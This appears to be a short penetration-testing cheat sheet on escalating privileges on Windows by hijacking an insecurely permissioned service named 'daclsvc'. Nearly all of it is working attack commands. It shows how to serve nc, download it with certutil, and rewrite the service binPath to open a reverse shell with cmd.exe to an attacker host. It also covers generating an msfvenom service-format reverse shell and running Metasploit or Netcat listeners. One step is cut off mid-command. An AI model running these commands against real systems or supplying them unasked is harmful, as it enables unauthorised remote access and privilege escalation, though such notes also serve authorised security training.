Exploiting insecure service with Netcat¶
-
Host the
nc
binary using Python:
python3 -m http.server 8000
Note: Kali has a built-in copy of
nc.exe
located in/usr/share/windows-resources/binaries/
. -
Transfer the binary to the target machine using
certutil
:
certutil -urlcache -f http://[IP-ADDRESS]:8000/nc64.exe nc64.exe
-
To exploit the service, place
nc.exe
inC:\Temp
and modify the service binary path:
sc config daclsvc binPath= "C:\Temp\nc64.exe [IP-ADDRESS] 443 -e C:\Windows\System32\cmd.exe"
-
On the attacker machine, set up a Netcat listener on port 443, then start the service:
sc start daclsvc
Exploiting insecure service with Metasploit¶
-
Generate a reverse shell payload with
msfvenom
:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP-ADDRESS] LPORT=[PORT] -f exe-service -o reverse.exe
Note: After creating the reverse shell payload, transfer it to the target machine.
-
Start a listener on the attacking machine with Metasploit:
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT [PORT]; run"
-
Alternatively, start a listener with Netcat:
sudo rlwrap -cAr nc -lvnp 1338
-
Modify the service binary path and restart the service:
or
net start daclsvc